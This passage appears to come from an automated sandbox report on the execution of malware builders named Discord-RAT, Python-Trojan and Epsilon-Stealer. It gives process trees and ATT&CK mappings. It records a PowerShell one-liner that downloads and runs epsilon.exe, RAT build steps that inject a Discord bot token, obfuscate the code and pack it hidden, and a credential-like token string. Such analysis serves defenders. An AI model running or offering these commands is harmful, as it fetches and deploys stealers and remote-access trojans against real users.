      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" build_wheel C:\Users\Admin\AppData\Local\Temp\tmp4moab07q
      4⤵
      Executes dropped EXE
      PID:1068
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" build_wheel C:\Users\Admin\AppData\Local\Temp\tmpru_p4m4a
      4⤵
      Executes dropped EXE
      PID:1680
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" build_wheel C:\Users\Admin\AppData\Local\Temp\tmpltvqknf8
      4⤵
      Executes dropped EXE
      PID:5856
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" build_wheel C:\Users\Admin\AppData\Local\Temp\tmpubexnnc1
      4⤵
      Executes dropped EXE
      PID:1988
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" build_wheel C:\Users\Admin\AppData\Local\Temp\tmpzy4mwps8
      4⤵
      Executes dropped EXE
      PID:4500

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x468 0x4cc
1⤵
PID:6348

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Discord-RAT-main\Discord-RAT-main\build.bat" "
1⤵
PID:5784
- C:\Program Files\Python312\Scripts\pip.exe
  pip install -r requirements.txt
  2⤵
  - Executes dropped EXE
  PID:3844
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Scripts\pip.exe" install -r requirements.txt
    3⤵
    - Executes dropped EXE
    PID:5044
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:6788
- C:\Windows\system32\mode.com
  mode con: cols=200
  2⤵
  PID:5864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Content building.py) -replace '%token%', 'MTIwNjk0NTM2NzUxODg3MTU2Mg.GxHilA.Fn03n-BguSYGa6siQzKabBrmfHrRCV8taXMA-c' | Set-Content building.py"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Content building.py) -replace '%id%', '1212419468337356893' | Set-Content building.py"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6820
- C:\Windows\py.exe
  py obf.py -o output.py building.py
  2⤵
  - Executes dropped EXE
  PID:1516
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" obf.py -o output.py building.py
    3⤵
    - Executes dropped EXE
    PID:1620
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:6676
- C:\Windows\system32\mode.com
  mode con: cols=200
  2⤵
  PID:6696

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:3808
- C:\Program Files\Python312\Scripts\pip.exe
  pip install pyinstaller
  2⤵
  - Executes dropped EXE
  PID:3392
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Scripts\pip.exe" install pyinstaller
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:6952

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Discord-RAT-main\Discord-RAT-main\build.bat" "
1⤵
PID:3332
- C:\Program Files\Python312\Scripts\pip.exe
  pip install -r requirements.txt
  2⤵
  - Executes dropped EXE
  PID:7324
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Scripts\pip.exe" install -r requirements.txt
    3⤵
    - Executes dropped EXE
    PID:7364
- C:\Windows\system32\mode.com
  mode con: cols=200
  2⤵
  PID:7328
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Content building.py) -replace '%token%', 'MTIwNjk0NTM2NzUxODg3MTU2Mg.GxHilA.Fn03n-BguSYGa6siQzKabBrmfHrRCV8taXMA-c' | Set-Content building.py"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Content building.py) -replace '%id%', '1212419468337356893' | Set-Content building.py"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:7376
- C:\Windows\py.exe
  py obf.py -o output.py building.py
  2⤵
  - Executes dropped EXE
  PID:7616
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" obf.py -o output.py building.py
    3⤵
    - Executes dropped EXE
    PID:7680
- C:\Program Files\Python312\Scripts\pyinstaller.exe
  pyinstaller --onefile --noconsole --hidden-import=os --hidden-import=cv2 --hidden-import=discord --hidden-import=asyncio --hidden-import=ctypes --hidden-import=psutil --hidden-import=requests --hidden-import=datetime --hidden-import=platform --hidden-import=numpy --hidden-import=subprocess --hidden-import=webbrowser --hidden-import=pyautogui --hidden-import=socket --hidden-import=pyperclip --hidden-import=pygame --hidden-import=PIL --hidden-import=ImageGrab --hidden-import=io --hidden-import=discord --hidden-import=File --hidden-import=commands output.py -n Built
  2⤵
  - Executes dropped EXE
  PID:7700
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Scripts\pyinstaller.exe" --onefile --noconsole --hidden-import=os --hidden-import=cv2 --hidden-import=discord --hidden-import=asyncio --hidden-import=ctypes --hidden-import=psutil --hidden-import=requests --hidden-import=datetime --hidden-import=platform --hidden-import=numpy --hidden-import=subprocess --hidden-import=webbrowser --hidden-import=pyautogui --hidden-import=socket --hidden-import=pyperclip --hidden-import=pygame --hidden-import=PIL --hidden-import=ImageGrab --hidden-import=io --hidden-import=discord --hidden-import=File --hidden-import=commands output.py -n Built
    3⤵
    - Executes dropped EXE
    PID:7732
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\PyInstaller\isolated\_child.py" 476 160
      4⤵
      PID:7828
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:7652
- C:\Windows\system32\mode.com
  mode con: cols=200
  2⤵
  PID:7856

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x468 0x4cc
1⤵
PID:6916

C:\Windows\py.exe
"C:\Windows\py.exe" "C:\Users\Admin\Downloads\Python-Trojan-main\Python-Trojan-main\main.py"
1⤵
PID:4248
- C:\Program Files\Python312\python.exe
  "C:\Program Files\Python312\python.exe" "C:\Users\Admin\Downloads\Python-Trojan-main\Python-Trojan-main\main.py"
  2⤵
  PID:7404

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:1112
- C:\Program Files\Python312\python.exe
  python main.py
  2⤵
  PID:2056
- C:\Program Files\Python312\Scripts\pip.exe
  pip install -r requirements.txt
  2⤵
  PID:2064
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Scripts\pip.exe" install -r requirements.txt
    3⤵
    PID:5524
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-e83bidwf\overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- "setuptools >= 46.4.0"
      4⤵
      PID:1588
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmppsp8938m
      4⤵
      PID:8024
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-e83bidwf\normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel
      4⤵
      PID:4484
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmp8wvz0stf
      4⤵
      PID:7112
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" build_wheel C:\Users\Admin\AppData\Local\Temp\tmp116eer2f
      4⤵
      PID:8068

C:\Windows\py.exe
"C:\Windows\py.exe" "C:\Users\Admin\Downloads\Python-Trojan-main\Python-Trojan-main\main.py"
1⤵
PID:7436
- C:\Program Files\Python312\python.exe
  "C:\Program Files\Python312\python.exe" "C:\Users\Admin\Downloads\Python-Trojan-main\Python-Trojan-main\main.py"
  2⤵
  PID:5668

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:5948
- C:\Program Files\Python312\Scripts\pip.exe
  pip install aiohttp
  2⤵
  PID:4420
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Scripts\pip.exe" install aiohttp
    3⤵
    PID:6552
- C:\Program Files\Python312\python.exe
  python main.py
  2⤵
  PID:4708
- C:\Program Files\Python312\Scripts\pip.exe
  pip install Crypto
  2⤵
  PID:7596
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Scripts\pip.exe" install Crypto
    3⤵
    - Drops file in Program Files directory
    PID:2936
- C:\Program Files\Python312\python.exe
  python main.py
  2⤵
  PID:224

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Epsilon-Stealer-main\Epsilon-Stealer-main\Builder.bat" "
1⤵
PID:2120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/IWcommunityFR/Epsilon-Stealer/releases/download/epsilon/epsilon.exe';$file='epsilon.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  PID:3996

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Epsilon-Stealer-main\Epsilon-Stealer-main\Builder.bat
1⤵
PID:1956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Epsilon-Stealer-main\Epsilon-Stealer-main\Builder.bat" "
1⤵
PID:680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/IWcommunityFR/Epsilon-Stealer/releases/download/epsilon/epsilon.exe';$file='epsilon.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  PID:6560
- - C:\Users\Admin\Downloads\Epsilon-Stealer-main\Epsilon-Stealer-main\tools\epsilon.exe
    "C:\Users\Admin\Downloads\Epsilon-Stealer-main\Epsilon-Stealer-main\tools\epsilon.exe"
    3⤵
    PID:436
  - - C:\Users\Admin\AppData\Local\Temp\2cy6c2WguJ97NyG5CF0W4ljf8vU\help.exe
      C:\Users\Admin\AppData\Local\Temp\2cy6c2WguJ97NyG5CF0W4ljf8vU\help.exe
      4⤵
      PID:3880
- C:\Program Files\Python312\python.exe
  python builder.py
  2⤵
  PID:4136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery